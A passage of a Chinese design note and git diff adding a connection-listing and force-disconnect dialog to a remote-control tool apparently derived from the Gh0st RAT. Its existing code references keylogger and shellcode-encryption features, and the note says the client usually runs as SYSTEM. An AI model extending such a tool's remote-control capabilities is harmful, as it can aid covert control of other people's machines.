TOKEN_CONNECTION_LIST:` → `SendMessage(WM_OPENCONNECTIONDIALOG, 0, (LPARAM)ContextObject)`(6609 行后)。 + - `ON_MESSAGE(WM_OPENCONNECTIONDIALOG, OnOpenConnectionDialog)` + `OnOpenConnectionDialog` → + `OpenDialog(wParam, lParam)`。 +- `stdafx.h`:`#define WM_OPENCONNECTIONDIALOG WM_USER + 3045`(现最高占用 `WM_USER+3044`,已核实无冲突)。 +- 语言:`lang/en_US.ini` / `zh_TW.ini`(GBK,Python 改)补「连接管理 / 强制断开 / 8 列表头」文案。 + +## 6. 强制断开的实现与限制 + +- **仅 IPv4 TCP** 用 `SetTcpEntry` + `MIB_TCP_STATE_DELETE_TCB`(公开 API 唯一支持)。 +- **重构 `MIB_TCPROW` 要点**:`dwState=12`;`dwLocalAddr/dwRemoteAddr` 由 16 字节字段前 4 字节的 + 网络序字节拼回网络序 DWORD(`GetAddr4`);`dwLocalPort/dwRemotePort` 由主机序 `htons` 转回网络序。 +- **UDP**:无「按端点关闭 socket」的公开 API,MVP 只读展示(菜单置灰)。 +- **IPv6 TCP**:`SetTcpEntry` 的 `MIB_TCPROW` 为 IPv4 结构,无公开的 IPv6 对应删除 API,MVP 只读展示。 +- **权限**:`SetTcpEntry` 需管理员/足够权限;YAMA 客户端通常以服务(SYSTEM)运行,满足。若非提权, + `SetTcpEntry` 返回错误,`KillConnection` 静默失败并在刷新后的列表中保留该行(可观察结果,不误报)。 + +## 7. 安全与边界 + +1. **可能断开 YAMA 自身控制通道**:连接列表包含客户端↔服务端的主/子连接本身,若管理员选中并强制断开, + 对应主机会立即离线。对话框对此不做特殊保护(与 `kill_process` 可杀自身守护进程同理), + 但列表按 PID 可辨识本程序进程名,便于人工避让。 +2. **强制断开不可逆**:断的是对端已建立的 TCP 连接,应用层不保存状态,可能造成数据丢失;对话框不弹二次确认 + (确认责任在操作者),但右键菜单为显式单点操作。 +3. **枚举成本**:每行一次 `OpenProcess` 取进程名,数百行连接约毫秒~十毫秒级,可接受;`OpenProcess` 失败直接 + `""`,不阻塞枚举。 +4. **PID 复用 / 进程退出**:断连用的是**端点**而非 PID,进程退出不影响 `SetTcpEntry` 命中;`procName` 仅用于展示。 +5. **HTTP 分片**:连接数多时列表可超 1460 字节,依赖已修复的分片续包处理(§3.3)。 +6. **老版本客户端**:老客户端无 `COMMAND_CONNECTION` 处理,点工具栏会无响应(与「老客户端不支持活动历史/日志」 + 同类),属预期;不影响服务端其它功能。 + +## 8. 验证计划(施工后填写) + +1. 服务端:MSBuild 加 `-p:SolutionDir` 编译通过(见项目记忆 yama-server-msbuild-solutiondir);客户端同步编译。 +2. 部署客户端到真实 Windows 主机 → 服务端选中主机 → 点新图标 → 对话框列出 TCP/UDP(含 IPv4/IPv6)连接, + 字段(协议/地址/端口/状态/PID/进程名)与远端 `netstat -ano` 一致。 +3. 右键一条 **IPv4 TCP** 已建立连接(如对测试服务器的 ESTABLISHED)→ 强制断开 → 刷新后该行消失、 + 远端 `netstat` 不再显示;进程自身未受影响。 +4. 右键 **UDP / IPv6** 行 → 菜单项置灰,不可断连。 +5. 刷新按钮 / 重复打开对话框 → 列表更新正常;关对话框后子连接释放(无泄漏)。 +6. 回归:服务管理 / 进程管理 / MCP 等既有功能不受影响(无 command/token/ID 冲突)。 + +## 9. 实现记录 + +- 已实现并评审通过(2026-10-04)。实现与 §4/§5 一致:工具栏第 17 个图标(`ID_CONNECTION_MANAGE`,紧邻 MCP 之后) + 打开连接管理对话框;客户端新增 `CConnectionsManager` 枚举并回传本机 TCP/UDP 连接;服务端新增 `CConnectionsDlg` + 表格展示、右键「强制断开」发 `COMMAND_KILL_CONNECTION`、支持表头点击排序。 +- **评审修正一处关键缺陷(字节序)**:iphlpapi 的 IPv4 地址 `dwLocalAddr` 是网络序 DWORD、端口 `dwLocalPort` + 低 16 位是网络序。初版「原样 memcpy / 原样回填」导致展示的 IPv4 地址与端口字节序颠倒(强断因往返对称仍能命中)。 + 已改为:地址存网络序字节(`PutAddr4`)、端口 `ntohs` 转主机序;断连时地址拼回 DWORD(`GetAddr4`)、端口 + `htons` 转回网络序。详见 §3.2 / §6。 +- 对话框标题栏小图标 `IDI_CONNECTION` 由工具栏第 17 个图标生成 `res/connections.ico`(48/32/16,32 位带透明)。 +- 编译:`client/ConnectionsManager.cpp`(UTF-8 BOM + CRLF,`ws2tcpip.h` 引入 `_WS2IPDEF_` 以使用 IPv6 MIB 结构) + 经 MSBuild(v143 工具集覆盖)编译通过;整仓 ghost 构建在本机 BuildTools 因缺少 ATL 头受阻,属环境问题,与本功能无关。 diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 3d41393..ca40c0e 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 98fc07a..31312a7 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -20,6 +20,7 @@ #include "AudioDlg.h" #include "RegisterDlg.h" #include "ServicesDlg.h" +#include "ConnectionsDlg.h" #include "VideoDlg.h" #include #include @@ -925,6 +926,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_MESSAGE(WM_ANTI_BLACKSCREEN, AntiBlackScreen) ON_MESSAGE(WM_OPEN_WINDOW_SCREEN, OpenWindowScreen) ON_MESSAGE(WM_OPENCLIENTLOGDIALOG, OnOpenClientLogDialog) + ON_MESSAGE(WM_OPENCONNECTIONDIALOG, OnOpenConnectionDialog) ON_MESSAGE(WM_SHARE_CLIENT, ShareClient) ON_MESSAGE(WM_ASSIGN_CLIENT, AssignClient) ON_MESSAGE(WM_ASSIGN_ALLCLIENT, AssignAllClient) @@ -991,6 +993,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_COMMAND(ID_TOOL_RELOAD_PLUGINS, &CMy2015RemoteDlg::OnToolReloadPlugins) ON_COMMAND(ID_TOOL_PLUGIN_SETTINGS, &CMy2015RemoteDlg::OnToolPluginSettings) ON_COMMAND(ID_MCP_SETTINGS, &CMy2015RemoteDlg::OnMcpSettings) + ON_COMMAND(ID_CONNECTION_MANAGE, &CMy2015RemoteDlg::OnConnectionManage) ON_COMMAND(ID_TRIGGER_SETTINGS, &CMy2015RemoteDlg::OnTriggerSettings) ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray) ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger) @@ -1418,6 +1421,7 @@ VOID CMy2015RemoteDlg::CreateToolBar() m_ToolBar.SetButtonText(13, _TR("帮助")); m_ToolBar.SetButtonText(14, _T("Lang/语言")); m_ToolBar.SetButtonText(15, _T("MCP")); + m_ToolBar.SetButtonText(16, _TR("连接管理")); // ============================================================ // UIBranding: 根据编译时配置或运行时标志隐藏工具栏按钮 @@ -6622,6 +6626,10 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) g_2015RemoteDlg->SendMessage(WM_OPENSERVICESDIALOG, 0, (LPARAM)ContextObject); break; } + case TOKEN_CONNECTION_LIST: { // 连接管理【x】 + g_2015RemoteDlg->SendMessage(WM_OPENCONNECTIONDIALOG, 0, (LPARAM)ContextObject); + break; + } case TOKEN_WEBCAM_BITMAPINFO: { // 摄像头【x】 g_2015RemoteDlg->SendMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)ContextObject); break; @@ -7813,6 +7821,11 @@ LRESULT CMy2015RemoteDlg::OnOpenServicesDialog(WPARAM wParam, LPARAM lParam) return OpenDialog(wParam, lParam); } +LRESULT CMy2015RemoteDlg::OnOpenConnectionDialog(WPARAM wParam, LPARAM lParam) +{ + return OpenDialog(wParam, lParam); +} + LRESULT CMy2015RemoteDlg::OnOpenRegisterDialog(WPARAM wParam, LPARAM lParam) { return OpenDialog(wParam, lParam); @@ -11367,6 +11380,12 @@ void CMy2015RemoteDlg::OnMcpSettings() ApplyFrpSettings(); } +void CMy2015RemoteDlg::OnConnectionManage() +{ + BYTE cmd = COMMAND_CONNECTION; + SendSelectedCommand(&cmd, sizeof(BYTE)); +} + void CMy2015RemoteDlg::OnTriggerSettings() { if (m_DllList.empty()) { diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index 8b4fa9d..a4ae2ff 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -680,6 +680,7 @@ public: afx_msg void OnCancelShare(); afx_msg void OnWebRemoteControl(); afx_msg void OnMcpSettings(); + afx_msg void OnConnectionManage(); afx_msg void OnProxyPortAutorun(); afx_msg void OnScreenpreviewLoop(); afx_msg void OnMenuCompress(); @@ -694,5 +695,6 @@ public: afx_msg void OnOnlineClientLog(); afx_msg void OnOnlineHistoryActivity(); afx_msg LRESULT OnOpenClientLogDialog(WPARAM wParam, LPARAM lParam); + afx_msg LRESULT OnOpenConnectionDialog(WPARAM wParam, LPARAM lParam); afx_msg void OnOnlineForbidden(); }; diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj index 09b9d69..1495085 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj +++ b/server/2015Remote/2015Remote_vs2015.vcxproj @@ -351,6 +351,7 @@ + @@ -484,6 +485,7 @@ + @@ -583,6 +585,7 @@ + diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj.filters b/server/2015Remote/2015Remote_vs2015.vcxproj.filters index f4fc3a9..e93389f 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj.filters +++ b/server/2015Remote/2015Remote_vs2015.vcxproj.filters @@ -29,6 +29,7 @@ + @@ -128,6 +129,7 @@ + @@ -265,6 +267,7 @@ + diff --git a/server/2015Remote/ConnectionsDlg.cpp b/server/2015Remote/ConnectionsDlg.cpp new file mode 100644 index 0000000..e82fc2c --- /dev/null +++ b/server/2015Remote/ConnectionsDlg.cpp @@ -0,0 +1,305 @@ +// ConnectionsDlg.cpp : 实现文件 +// + +#include "stdafx.h" +#include "2015Remote.h" +#include "ConnectionsDlg.h" +#include "afxdialogex.h" +#include +#include + + +// CConnectionsDlg 对话框 + +IMPLEMENT_DYNAMIC(CConnectionsDlg, CDialog) + +// 连接记录排序辅助:保存完整 ConnectionInfo(供右键强断)与各列排序键。 +// 数字列零填充、地址列转定宽十六进制,保证字符串比较即得正确数值顺序。 +typedef struct ConnItemData { + ConnectionInfo info; + CString key[8]; + CString GetKey(int index) const { return key[index]; } +} ConnItemData; + +CConnectionsDlg::CConnectionsDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT *ContextObject) + : DialogBase(CConnectionsDlg::IDD, pParent, IOCPServer, ContextObject, IDI_CONNECTION) + , m_nRClickItem(-1) + , m_nSortColumn(-1) + , m_bSortAscending(true) +{ +} + +CConnectionsDlg::~CConnectionsDlg() +{ +} + +void CConnectionsDlg::DoDataExchange(CDataExchange* pDX) +{ + __super::DoDataExchange(pDX); + DDX_Control(pDX, IDC_LIST, m_ControlList); + DDX_Control(pDX, IDC_STATIC_COUNT, m_Count); +} + +BEGIN_MESSAGE_MAP(CConnectionsDlg, CDialog) + ON_WM_CLOSE() + ON_WM_SIZE() + ON_COMMAND(ID_CONNECTION_KILL, &CConnectionsDlg::OnConnectionKill) + ON_COMMAND(ID_CONNECTION_REFRESH, &CConnectionsDlg::OnConnectionRefresh) + ON_NOTIFY(NM_RCLICK, IDC_LIST, &CConnectionsDlg::OnNMRClickList) + ON_NOTIFY(HDN_ITEMCLICK, 0, &CConnectionsDlg::OnHdnItemclickList) +END_MESSAGE_MAP() + + +// CConnectionsDlg 消息处理程序 + +static CString FormatAddr(BYTE af, const uint8_t* addr) +{ + char buf[INET6_ADDRSTRLEN] = { 0 }; + if (af == AF_INET) { + inet_ntop(AF_INET, addr, buf, INET_ADDRSTRLEN); + } else { + inet_ntop(AF_INET6, addr, buf, INET6_ADDRSTRLEN); + } + return CA2T(buf); +} + +static CString TcpStateName(DWORD state) +{ + switch (state) { + case 1: return _T("CLOSED"); + case 2: return _T("LISTEN"); + case 3: return _T("SYN_SENT"); + case 4: return _T("SYN_RCVD"); + case 5: return _T("ESTABLISHED"); + case 6: return _T("FIN_WAIT1"); + case 7: return _T("FIN_WAIT2"); + case 8: return _T("CLOSE_WAIT"); + case 9: return _T("CLOSING"); + case 10: return _T("LAST_ACK"); + case 11: return _T("TIME_WAIT"); + case 12: return _T("DELETE_TCB"); + default: return _T("-"); + } +} + +// 地址排序键:IPv4/IPv6 统一转成 16 字节定宽十六进制(前缀 4/6 区分协议族), +// 使字符串比较等价于按地址数值排序。 +static CString AddrSortKey(uint8_t af, const uint8_t* addr) +{ + CString key; + key.Format(_T("%d:"), (af == AF_INET) ? 4 : 6); + for (int i = 0; i < 16; ++i) + key.AppendFormat(_T("%02X"), addr[i]); + return key; +} + +BOOL CConnectionsDlg::OnInitDialog() +{ + __super::OnInitDialog(); + + SetIcon(m_hIcon, TRUE); + SetIcon(m_hIcon, FALSE); + CString strString; + strString.FormatL("%s - 连接管理", m_IPAddress); + SetWindowText(strString); + + m_ControlList.SetExtendedStyle(LVS_EX_FULLROWSELECT); + m_ControlList.InsertColumnL(0, "协议", LVCFMT_LEFT, 50); + m_ControlList.InsertColumnL(1, "本地地址", LVCFMT_LEFT, 120); + m_ControlList.InsertColumnL(2, "本地端口", LVCFMT_LEFT, 70); + m_ControlList.InsertColumnL(3, "远端地址", LVCFMT_LEFT, 120); + m_ControlList.InsertColumnL(4, "远端端口", LVCFMT_LEFT, 70); + m_ControlList.InsertColumnL(5, "状态", LVCFMT_LEFT, 100); + m_ControlList.InsertColumnL(6, "PID", LVCFMT_LEFT, 60); + m_ControlList.InsertColumnL(7, "进程名", LVCFMT_LEFT, 180); + + ShowConnectionList(); + return TRUE; +} + +int CConnectionsDlg::ShowConnectionList(void) +{ + Buffer tmp = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(0); + int len = tmp.GetBufferLength(); + DeleteAllItems(); + + if (len < 3) { + CString strEmpty; + strEmpty.FormatL("连接数:%d", 0); + m_Count.SetWindowText(strEmpty); + return 0; + } + + const BYTE* p = tmp.GetBuffer(0); + uint16_t count = 0; + memcpy(&count, p + 1, 2); + int avail = (len - 3) / (int)sizeof(ConnectionInfo); + if ((int)count > avail) count = (uint16_t)avail; + + for (int i = 0; i < (int)count; ++i) { + const ConnectionInfo* info = (const ConnectionInfo*)(p + 3 + i * sizeof(ConnectionInfo)); + + CString strProto = (info->proto == 1) ? _T("TCP") : _T("UDP"); + CString strLocalAddr = FormatAddr(info->af, info->localAddr); + CString strRemoteAddr = FormatAddr(info->af, info->remoteAddr); + CString strState = (info->proto == 1) ? TcpStateName(info->state) : _T("-"); + + CString strLocalPort, strRemotePort, strPid, strProcName; + strLocalPort.Format(_T("%u"), info->localPort); + strRemotePort.Format(_T("%u"), info->remotePort); + strPid.Format(_T("%u"), info->pid); + strProcName = CA2T(info->procName, CP_UTF8); + + auto* data = new ConnItemData; + data->info = *info; + data->key[0] = strProto; + data->key[1] = AddrSortKey(info->af, info->localAddr); + data->key[2].Format(_T("%05u"), info->localPort); + data->key[3] = AddrSortKey(info->af, info->remoteAddr); + data->key[4].Format(_T("%05u"), info->remotePort); + data->key[5].Format(_T("%03u"), info->state); + data->key[6].Format(_T("%010u"), info->pid); + data->key[7] = strProcName; + + m_ControlList.InsertItem(i, strProto); + m_ControlList.SetItemText(i, 1, strLocalAddr); + m_ControlList.SetItemText(i, 2, strLocalPort); + m_ControlList.SetItemText(i, 3, strRemoteAddr); + m_ControlList.SetItemText(i, 4, strRemotePort); + m_ControlList.SetItemText(i, 5, strState); + m_ControlList.SetItemText(i, 6, strPid); + m_ControlList.SetItemText(i, 7, strProcName); + m_ControlList.SetItemData(i, (DWORD_PTR)data); + } + + CString strCount; + strCount.FormatL("连接数:%d", (int)count); + m_Count.SetWindowText(strCount); + + return 0; +} + +void CConnectionsDlg::OnClose() +{ + CancelIO(); + if (IsProcessing()) { + ShowWindow(SW_HIDE); + return; + } + + DeleteAllItems(); + + DialogBase::OnClose(); +} + +void CConnectionsDlg::DeleteAllItems() +{ + for (int i = 0; i < m_ControlList.GetItemCount(); i++) { + auto data = (ConnItemData*)m_ControlList.GetItemData(i); + if (data) delete data; + } + m_ControlList.DeleteAllItems(); +} + +void CConnectionsDlg::OnNMRClickList(NMHDR *pNMHDR, LRESULT *pResult) +{ + LPNMITEMACTIVATE pAct = reinterpret_cast(pNMHDR); + m_nRClickItem = pAct->iItem; + + bool canKill = false; + if (m_nRClickItem >= 0) { + auto* data = (ConnItemData*)m_ControlList.GetItemData(m_nRClickItem); + canKill = (data && data->info.proto == 1 && data->info.af == AF_INET); + } + + CMenu Menu; + Menu.LoadMenu(IDR_MENU_CONNECTIONS); + TranslateMenu(&Menu); + CMenu* SubMenu = Menu.GetSubMenu(0); + if (SubMenu && !canKill) { + SubMenu->EnableMenuItem(ID_CONNECTION_KILL, MF_BYCOMMAND | MF_GRAYED); + } + CPoint Point; + GetCursorPos(&Point); + SubMenu->TrackPopupMenu(TPM_LEFTALIGN | TPM_LEFTBUTTON, Point.x, Point.y, this); + *pResult = 0; +} + +void CConnectionsDlg::OnConnectionKill() +{ + if (m_nRClickItem < 0) return; + auto* data = (ConnItemData*)m_ControlList.GetItemData(m_nRClickItem); + if (!data || data->info.proto != 1 || data->info.af != AF_INET) return; + + LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, 1 + sizeof(ConnectionInfo)); + if (szBuffer == NULL) return; + szBuffer[0] = COMMAND_KILL_CONNECTION; + memcpy(szBuffer + 1, &data->info, sizeof(ConnectionInfo)); + m_ContextObject->Send2Client(szBuffer, LocalSize(szBuffer)); + LocalFree(szBuffer); +} + +void CConnectionsDlg::OnConnectionRefresh() +{ + BYTE bToken = COMMAND_CONNECTION; + m_ContextObject->Send2Client(&bToken, 1); +} + +void CConnectionsDlg::OnReceiveComplete(void) +{ + switch (m_ContextObject->InDeCompressedBuffer.GetBYTE(0)) { + case TOKEN_CONNECTION_LIST: + ShowConnectionList(); + break; + default: + break; + } +} + +void CConnectionsDlg::OnSize(UINT nType, int cx, int cy) +{ + __super::OnSize(nType, cx, cy); + + if (!m_ControlList.GetSafeHwnd()) return; + + CRect rc; + m_ControlList.GetWindowRect(&rc); + ScreenToClient(&rc); + + m_ControlList.MoveWindow(0, 0, cx, cy, TRUE); +} + +int CALLBACK CConnectionsDlg::CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort) +{ + auto* pSortInfo = reinterpret_cast*>(lParamSort); + int nColumn = pSortInfo->first; + bool bAscending = pSortInfo->second; + + auto* context1 = (ConnItemData*)lParam1; + auto* context2 = (ConnItemData*)lParam2; + CString s1 = context1->GetKey(nColumn); + CString s2 = context2->GetKey(nColumn); + + int result = s1.Compare(s2); + return bAscending ? result : -result; +} + +void CConnectionsDlg::SortByColumn(int nColumn) +{ + if (nColumn == m_nSortColumn) { + m_bSortAscending = !m_bSortAscending; + } else { + m_nSortColumn = nColumn; + m_bSortAscending = true; + } + + std::pair sortInfo(m_nSortColumn, m_bSortAscending); + m_ControlList.SortItems(CompareFunction, reinterpret_cast(&sortInfo)); +} + +void CConnectionsDlg::OnHdnItemclickList(NMHDR* pNMHDR, LRESULT* pResult) +{ + LPNMHEADER pNMHeader = reinterpret_cast(pNMHDR); + SortByColumn(pNMHeader->iItem); + *pResult = 0; +} diff --git a/server/2015Remote/ConnectionsDlg.h b/server/2015Remote/ConnectionsDlg.h new file mode 100644 index 0000000..7cc969a --- /dev/null +++ b/server/2015Remote/ConnectionsDlg.h @@ -0,0 +1,43 @@ +#pragma once +#include "afxcmn.h" +#include "IOCPServer.h" +#include "afxwin.h" + +// CConnectionsDlg 对话框:展示受管主机当前 TCP/UDP 连接,右键可强制断开 IPv4 TCP 连接。 + +class CConnectionsDlg : public DialogBase +{ + DECLARE_DYNAMIC(CConnectionsDlg) + +public: + CConnectionsDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); + virtual ~CConnectionsDlg(); + + int ShowConnectionList(void); + void OnReceiveComplete(void); + + enum { IDD = IDD_DIALOG_CONNECTIONS }; + +protected: + virtual void DoDataExchange(CDataExchange* pDX); + + DECLARE_MESSAGE_MAP() +public: + CListCtrl m_ControlList; + virtual BOOL OnInitDialog(); + + void DeleteAllItems(); + void SortByColumn(int nColumn); + afx_msg void OnClose(); + afx_msg void OnNMRClickList(NMHDR *pNMHDR, LRESULT *pResult); + afx_msg void OnConnectionKill(); + afx_msg void OnConnectionRefresh(); + afx_msg void OnSize(UINT nType, int cx, int cy); + afx_msg void OnHdnItemclickList(NMHDR *pNMHDR, LRESULT *pResult); + static int CALLBACK CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort); + + CStatic m_Count; + int m_nRClickItem; + int m_nSortColumn; + bool m_bSortAscending; +}; diff --git a/server/2015Remote/lang/en_US.ini b/server/2015Remote/lang/en_US.ini index 4733d9e..9a91f52 100644 --- a/server/2015Remote/lang/en_US.ini +++ b/server/2015Remote/lang/en_US.ini @@ -2067,3 +2067,12 @@ JPEG %s ¡¤ Լ %.2f MB/s=%s ¡¤ about %.2f MB/s %s ¡¤ ²»ÊÜÏÞË٣¨ÊÜÍøÂç´ø¿íԼÊø£©=%s ¡¤ Unlimited (limited by network bandwidth) Îļþ´«ÊäËٶÈÒѱ£´档Éϴ«ËٶÈÖØÆôÖ÷¿ض˺óÉúЧ£»ÏÂÔØËٶÈÏ´δò¿ªÎļþ¹ÜÀí»òԶ³Ì×ÀÃæºóÉúЧ¡£=Transfer speed saved. Upload speed takes effect after restarting the master; download speed takes effect the next time you open File Manager or Remote Desktop. + +Á¬½ӹÜÀí=Connections +%s - Á¬½ӹÜÀí=%s - Connections +±¾µصØַ=Local Address +±¾µض˿Ú=Local Port +Զ¶˵Øַ=Remote Address +Զ¶˶˿Ú=Remote Port +Á¬½ÓÊý:%d=Connections: %d +ǿÖƶϿª=Force Disconnect diff --git a/server/2015Remote/lang/zh_TW.ini b/server/2015Remote/lang/zh_TW.ini index e12eb97..90fa806 100644 --- a/server/2015Remote/lang/zh_TW.ini +++ b/server/2015Remote/lang/zh_TW.ini @@ -2058,3 +2058,12 @@ JPEG %s ¡¤ Լ %.2f MB/s=%s ¡¤ ¼s %.2f MB/s %s ¡¤ ²»ÊÜÏÞË٣¨ÊÜÍøÂç´ø¿íԼÊø£©=%s ¡¤ ²»ÏÞË٣¨ÊܾW·îlŒ’ÏÞÖƣ© Îļþ´«ÊäËٶÈÒѱ£´档Éϴ«ËٶÈÖØÆôÖ÷¿ض˺óÉúЧ£»ÏÂÔØËٶÈÏ´δò¿ªÎļþ¹ÜÀí»òԶ³Ì×ÀÃæºóÉúЧ¡£=™n°¸‚÷ݔËٶÈÒу¦´档Éς÷ËٶÈÖ؆¢Ö÷¿ضËááÉúЧ£»ÏÂÝdËٶÈÏ´Îé_†¢™n°¸¹ÜÀí»òßh¶Ë×ÀÃæááÉúЧ¡£ + +Á¬½ӹÜÀí=ßB¾€¹ÜÀí +%s - Á¬½ӹÜÀí=%s - ßB¾€¹ÜÀí +±¾µصØַ=±¾™Cλַ +±¾µض˿Ú=±¾™CßB½Ӳº +Զ¶˵Øַ=ßh¶Ëλַ +Զ¶˶˿Ú=ßh¶ËßB½Ӳº +Á¬½ÓÊý:%d=ßB¾€”µ:%d +ǿÖƶϿª=�ŠÖÆÖДà diff --git a/server/2015Remote/res/ToolBar_Main.bmp b/server/2015Remote/res/ToolBar_Main.bmp index 08c6388..55fc254 100644 Binary files a/server/2015Remote/res/ToolBar_Main.bmp and b/server/2015Remote/res/ToolBar_Main.bmp differ diff --git a/server/2015Remote/res/connections.ico b/server/2015Remote/res/connections.ico new file mode 100644 index 0000000..5ad45b6 Binary files /dev/null and b/server/2015Remote/res/connections.ico differ diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index ac08231..327978d 100644 --- a/server/2015Remote/resource.h +++ b/server/2015Remote/resource.h @@ -48,6 +48,9 @@ #define IDI_ICON_STRING 163 #define IDD_DIALOG_SERVICES 164 #define IDR_MENU_SERVICES 165 +#define IDD_DIALOG_CONNECTIONS 404 +#define IDR_MENU_CONNECTIONS 405 +#define IDI_CONNECTION 406 #define IDD_DIALOG_VIDEO 166 #define IDC_CURSOR2 168 #define IDC_CURSOR1 171 @@ -1005,6 +1008,9 @@ #define ID_WEB_REMOTE_CONTROL 33044 #define ID_TOOL_PLUGIN_SETTINGS 33045 #define ID_MCP_SETTINGS 33077 +#define ID_CONNECTION_MANAGE 33086 +#define ID_CONNECTION_KILL 33087 +#define ID_CONNECTION_REFRESH 33088 #define ID_33046 33046 #define ID_PROXY_PORT_AUTORUN 33047 #define ID_TRIGGER_SETTINGS 33048 @@ -1068,8 +1074,8 @@ // #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS -#define _APS_NEXT_RESOURCE_VALUE 404 -#define _APS_NEXT_COMMAND_VALUE 33086 +#define _APS_NEXT_RESOURCE_VALUE 407 +#define _APS_NEXT_COMMAND_VALUE 33089 #define _APS_NEXT_CONTROL_VALUE 2593 #define _APS_NEXT_SYMED_VALUE 105 #endif diff --git a/server/2015Remote/stdafx.h b/server/2015Remote/stdafx.h index e211191..b342bfb 100644 --- a/server/2015Remote/stdafx.h +++ b/server/2015Remote/stdafx.h @@ -112,6 +112,7 @@ #define WM_OPEN_WINDOW_SCREEN WM_USER+3042 // 窗口管理→打开指定窗口远程画面 #define WM_OPENCLIENTLOGDIALOG WM_USER+3043 // 打开客户端日志对话框 #define WM_REPORT_CLIENT_LOG WM_USER+3044 // 追加日志到已打开的对话框 +#define WM_OPENCONNECTIONDIALOG WM_USER+3045 // 打开连接管理对话框 #ifdef _UNICODE #if defined _M_IX86